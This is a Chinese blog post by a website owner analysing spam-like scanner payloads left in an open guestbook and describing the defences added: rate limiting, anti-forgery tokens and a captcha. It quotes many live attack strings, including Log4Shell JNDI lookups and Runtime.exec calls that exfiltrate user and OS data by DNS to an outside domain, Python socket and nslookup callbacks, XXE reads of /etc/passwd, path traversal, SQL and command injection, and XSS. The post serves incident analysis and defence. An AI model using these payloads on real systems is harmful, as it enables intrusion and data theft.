情况介绍
之前一直在加班,没时间来维护网站,作为一个合格的牛马,肯定是以公司的工作为主,闲暇时间再来弄自己的事情。本来留言板是为了方便接受意见,所以没有添加验证,本人访问别人网站的时候,也挺烦要写N多信息。不经意点开留言板看看有什么收获时,全是一些乱七八糟的东西,应该是被人动了手脚了,因为忙就简单的看了一下里面的内容,也百度了一下相关信息,应该不会不会把网站搞坏了,而且网站也只有几篇文章,就将留言隐藏了,没有做任何处理,反正数据库中有保存,就先留着,有时间在细细研究一番。
过了一段时间又出现之前的内容了,真是“叔能忍,婶不能忍”啊,乘着放假抽一天时间来处理一下。大致梳理了一下,在ChatGpt上问了一下,相关代码的意思,有多个可疑代码,下面几个就是有可能对服务器造成影响的:
可疑代码一:
现将一部分带展示出来,一些代码数据库中有六百多条数据,么一行就占一条记录,而且记录时间只相差秒级,应该使用软件实现的,只能大概看看什么意思,避免相应漏洞
${script:JavaScript:java.lang.Runtime.getRuntime().exec("nslookup $USER.%OS%.k4nyh8lf.dnsquery.0x557.wang");}
${jndi:ldap://0x557.wang:11389/3bp4g09b/${hostName}}${jndi:ldap://127.0.0.1:${java:runtime}/badClassName}
sssextt882
<?xml version="1.0"?><!DOCTYPE root[<!ENTITY run SYSTEM "file:///etc/passwd">]><root>&run;</root>
oRder by 34
%df'
/etc/./passwd
|echo %CMDEXTVERSION%DO8F9$(echo W1TF7)W3Z6T^KQ5ZN||a #' &echo %CMDEXTVERSION%DO8F9$(echo W1TF7)W3Z6T^KQ5ZN||a #|" & echo %CMDEXTVERSION%DO8F9$(echo W1TF7)W3Z6T^KQ5ZN||a #
WebScanCustomInjectedHeader: Injected_by_Anymous
%df"
sssextt882'"!@$[]~`^&*();288ttxesss
'"[]()
<?xml version="1.0"?><!DOCTYPE root[<!ENTITY run SYSTEM "file:///c:/windows/win.ini">]><root>&run;</root>
oRder by 1
file:/c:/windows/win.ini
;echo %CMDEXTVERSION%DO8F9$(echo W1TF7)W3Z6T^KQ5ZN||a #' &echo %CMDEXTVERSION%DO8F9$(echo W1TF7)W3Z6T^KQ5ZN||a #|" & echo %CMDEXTVERSION%DO8F9$(echo W1TF7)W3Z6T^KQ5ZN||a #
aa
WebScanCustomInjectedHeader: Injected_by_Anymous
'">*/--><script >alert(67938)</script>
<!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamsa ' <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>"> %eval; %error; '> %local_dtd; ]> <message></message>
oRder by 0
${script:JavaScript:java.lang.Runtime.getRuntime().exec("nslookup $USER.%OS%.k4nyh8lf.dnsquery.0x557.wang");}
这行代码试图通过Java的Runtime类执行一个命令,进行DNS查询,把用户和操作系统的信息发送到一个恶意域名。
${jndi:ldap://0x557.wang:11389/3bp4g09b/${hostName}}${jndi:ldap://127.0.0.1:${java:runtime}/badClassName}
这行代码利用JNDI(Java命名和目录接口)注入,通过LDAP请求加载远程类,可能试图在目标机器上执行恶意代码。
/etc/./passwd
file:/c:/windows/win.ini
这些路径尝试访问系统上的敏感文件,如Linux上的/etc/passwd和Windows上的win.ini。
这些代码片段展示了多种常见的安全漏洞利用手段,包括代码执行、JNDI注入、SQL注入、命令注入、XXE攻击和JavaScript注入。
可以代码二
nslookup ank4nmth$((5938*2216)).dnsquery.0x557.wang | nslookup ank4nmth%CMDEXTVERSION%.dnsquery.0x557.wang ||a #
http://0x557.wang:10000/webscantest_alert.html
oRder by 1--
WEB-INF/web.xml
${201408120-20120702}
'"<taginjaous>sec9
`nslookup ank4nmth$((5938*2216)).dnsquery.0x557.wang | nslookup ank4nmth%CMDEXTVERSION%.dnsquery.0x557.wang ||a #`
oRder by 0--
stxtest6a529
WEB-INF\web.xml
${32229339*5+20140723}
&ping -nc 10 127.0.0.1
str(__import__('time').sleep(9))+__import__('socket').gethostbyname('cphsed5c.dnsquery.0x557.wang')
../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
|ping -nc 10 127.0.0.1 ||a #
<script>alert`70170`</script>
'+str(__import__("time").sleep(9))+__import__("socket").gethostbyname("ufk6i8p8.dnsquery.0x557.wang)+'
../../../../../../../windows/win.ini
ping -nc 10 127.0.0.1 ||a #
"+str(__import__('time').sleep(9))+__import__('socket').gethostbyname('grf74qj0.dnsquery.0x557.wang')+"
/../../../../../../../windows/win.ini
`ping -nc 10 127.0.0.1 ||a #`
oRder by 34#
stxtest6a529scriptx
nslookup ank4nmth$((5938*2216)).dnsquery.0x557.wang | nslookup ank4nmth%CMDEXTVERSION%.dnsquery.0x557.wang ||a #
这个命令通过nslookup执行DNS查询,将计算结果(5938乘以2216)插入到域名中,试图通过DNS服务器进行信息泄露或验证命令执行的成功与否。
http://0x557.wang:10000/webscantest_alert.html
这是一个指向恶意网站的链接,可能用于钓鱼攻击或进一步的攻击尝试。
WEB-INF/web.xml
../../../../../../../windows/win.ini
这些路径试图通过路径遍历访问系统文件,泄露敏感信息,例如Web应用配置文件WEB-INF/web.xml和Windows系统配置文件win.ini。
这些攻击对abp框架项目来说影像不大,项目数据传输都有DTO,SQL注入比较难。请求系统配置文件也不太可能,整个web的权限只有wwwroot文件夹,其他的都是禁止访问的,这个文件夹放的都是网站静态资源,所以也没有什么。之前看了一篇文章《Log4shell漏洞研究及其挖矿案例分析》
Apache Log4j是Apache的一个开源项目,是一个基于Java的日志记录工具,因其卓越的性能,使用极其广泛。近日该组件编号为CVE-2021-44228的漏洞Log4shell被披露,大量常用框架已经被发现存在该漏洞,本漏洞触发条件极其简单,且无需特殊配置,风险极大。
该漏洞归根结底是一个非常简单的 JNDI 注入缺陷,其原理在于log4j在执行lookup()时,允许开发者通过一些协议去读取本地环境变量中的配置,但是在实现中未对输入进行严格判断。
在默认情况下,特定jdk版本的JNDI支持两种特殊的协议:RMI和LDAP。在这两种情况下,lookup() 调用后会返回一个Java 对象。但是攻击者可以通过Factory间接构造一个JNDI 引用。可以从远程URL的代码库加载恶意class。
看文章的情况,还是有点和我遇到的情况类似,不过我没用java,自然也避免了这个问题。虽然C#开源了,目前还是习惯用windows服务器,发布网站也是使用IIS。
处理
(1)目前的情况,我在留言板加了IP过滤,同一个IP短时间多次访问,则无法提交数据。
(2)开启AbpAntiForgery 跨域攻击保护,之前为了调试方便关闭了,现在还是开启来,不过逐步开始。
(3)留言板提交添加了验证码(有时间再优化一下,根据提交次数显示验证码)。